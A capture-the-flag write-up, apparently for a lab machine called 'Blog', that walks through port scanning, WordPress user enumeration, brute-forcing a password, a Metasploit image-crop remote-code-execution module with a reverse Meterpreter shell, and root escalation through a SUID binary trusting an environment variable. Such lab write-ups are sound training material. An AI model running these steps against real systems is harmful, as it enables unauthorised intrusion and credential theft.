Blog

Billy Joel made a Wordpress blog!

Scanning

nmap

starting with nmap scan check open ports and apply some scripts

$ nmap -sV -sC 10.10.64.200

Starting Nmap 7.60 ( https://nmap.org ) at 2021-10-04 00:48 BST
Nmap scan report for ip-10-10-64-200.eu-west-1.compute.internal (10.10.64.200)
Host is up (0.00058s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_  256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (EdDSA)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.0
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Billy Joel's IT Blog – The IT blog
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: 02:24:8D:C5:10:C9 (Unknown)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: blog
|   NetBIOS computer name: BLOG\x00
|   Domain name: \x00
|   FQDN: blog
|_  System time: 2021-10-03T23:48:52+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-10-04 00:48:52
|_  start_date: 1600-12-31 23:58:45

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds

22 SSH 80 HTTP 139,445 SMB

Enumeration

Port 139,445

$ smbclient  //10.10.64.200/BillySMB
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> mget *
Get file Alice-White-Rabbit.jpg? y
getting file \Alice-White-Rabbit.jpg of size 33378 as Alice-White-Rabbit.jpg (362.2 KiloBytes/sec) (average 362.2 KiloBytes/sec)
Get file tswift.mp4? y
getting file \tswift.mp4 of size 1236733 as tswift.mp4 (5440.3 KiloBytes/sec) (average 3975.5 KiloBytes/sec)
Get file check-this.png? y
getting file \check-this.png of size 3082 as check-this.png (1504.8 KiloBytes/sec) (average 3959.7 KiloBytes/sec)

check metadata and any included binaries Nothing here

Port 80

this web server running WordPress

lets enumerate some data 

$ wpscan --url http://blog.thm --enumerate u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.7
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
[+] URL: http://blog.thm/ [10.10.64.200]
[+] Started: Mon Oct  4 01:47:28 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://blog.thm/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] WordPress readme found: http://blog.thm/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
 |  - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>

[+] WordPress theme in use: twentytwenty
 | Location: http://blog.thm/wp-content/themes/twentytwenty/
 | Last Updated: 2021-03-09T00:00:00.000Z
 | Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt
 | [!] The version is out of date, the latest version is 1.7
 | Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3
 | Style Name: Twenty Twenty
 | Style URI: https://wordpress.org/themes/twentytwenty/
 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <==========================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] kwheel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bjoel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] Billy Joel
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Mon Oct  4 01:47:30 2021
[+] Requests Done: 52
[+] Cached Requests: 8
[+] Data Sent: 12.464 KB
[+] Data Received: 405.955 KB
[+] Memory used: 143.285 MB
[+] Elapsed time: 00:00:02

i found 2 users kwheel, bjoel

Initial Access

Brute Force

lets brute force passwords for these users

wpscan --url http://blog.thm -U users.txt -P /usr/share/wordlists/rockyou.txt
. . .
[+] Performing password attack on Xmlrpc against 2 user/s
[SUCCESS] - kwheel / cutiepie1

Credentials kwheel:cutiepie1

Version wordpress 5.0

Vulnerable WP Version

$ searchsploit WordPress 5.0

---------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                        |  Path
---------------------------------------------------------------------- ---------------------------------
WordPress Core 5.0 - Remote Code Execution                            | php/webapps/46511.js
WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit)           | php/remote/46662.rb
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Pos | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service               | php/dos/47800.py
WordPress Plugin Custom Pages 0.5.0.1 - Local File Inclusion          | php/webapps/17119.txt
WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metas | php/remote/47187.rb
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities   | php/webapps/39553.txt
WordPress Plugin FeedWordPress 2015.0426 - SQL Injection              | php/webapps/37067.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection             | php/webapps/44943.txt
WordPress Plugin leenk.me 2.5.0 - Cross-Site Request Forgery / Cross- | php/webapps/39704.txt
WordPress Plugin Marketplace Plugin 1.5.0 < 1.6.1 - Arbitrary File Up | php/webapps/18988.php
WordPress Plugin Network Publisher 5.0.1 - 'networkpub_key' Cross-Sit | php/webapps/37174.txt
WordPress Plugin Nmedia WordPress Member Conversation 1.35.0 - 'doupl | php/webapps/37353.php
WordPress Plugin Quick Page/Post Redirect 5.0.3 - Multiple Vulnerabil | php/webapps/32867.txt
WordPress Plugin WP-Property 1.35.0 - Arbitrary File Upload           | php/webapps/18987.php
---------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

i'll use this module WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit)

msf5 > use exploit/multi/http/wp_crop_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(multi/http/wp_crop_rce) > options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.222.250    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress


msf5 exploit(multi/http/wp_crop_rce) > set password cutiepie1
password => cutiepie1
msf5 exploit(multi/http/wp_crop_rce) > set rhost 10.10.64.200
rhost => 10.10.64.200
msf5 exploit(multi/http/wp_crop_rce) > set username kwheel
username => kwheel
msf5 exploit(multi/http/wp_crop_rce) > run

[*] Started reverse TCP handler on 10.10.222.250:4444 
[*] Authenticating with WordPress using kwheel:cutiepie1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (38288 bytes) to 10.10.64.200
[*] Meterpreter session 1 opened (10.10.222.250:4444 -> 10.10.64.200:34318) at 2021-10-04 01:55:36 +0100
[*] Attempting to clean up files...

meterpreter > shell
SHELL=/bin/bash script -q /dev/null
www-data@blog:/$

Privilege Escalation

SUID

searching for sticky bit

www-data@blog:/$ find / -type f -user root -perm -u=s 2>/dev/null
find / -type f -user root -perm -u=s 2>/dev/null
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/sbin/checker
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/bin/su
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9066/bin/mount
/snap/core/9066/bin/ping
/snap/core/9066/bin/ping6
/snap/core/9066/bin/su
/snap/core/9066/bin/umount
/snap/core/9066/usr/bin/chfn
/snap/core/9066/usr/bin/chsh
/snap/core/9066/usr/bin/gpasswd
/snap/core/9066/usr/bin/newgrp
/snap/core/9066/usr/bin/passwd
/snap/core/9066/usr/bin/sudo
/snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9066/usr/lib/openssh/ssh-keysign
/snap/core/9066/usr/lib/snapd/snap-confine
/snap/core/9066/usr/sbin/pppd

/usr/sbin/checker this file looks interesting lets run it

www-data@blog:/$ /usr/sbin/checker
/usr/sbin/checker
Not an Admin

The executable is a 64bit ELF

www-data@blog:/$ file /usr/sbin/checker
file /usr/sbin/checker
/usr/sbin/checker: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6cdb17533a6e02b838336bfe9791b5d57e1e2eea, not stripped

Running it with ltrace reveals that the executable is checking an environment variable adminto determine if we are an admin

www-data@blog:/$ ltrace /usr/sbin/checker
ltrace /usr/sbin/checker
getenv("admin")                                  = nil
puts("Not an Admin"Not an Admin
)                             = 13
+++ exited (status 0) +++

Let’s create an admin environment variable and set it at 1

www-data@blog:/$ export admin=1
export admin=1
www-data@blog:/$ /usr/sbin/checker
/usr/sbin/checker
root@blog:/# whoami
root
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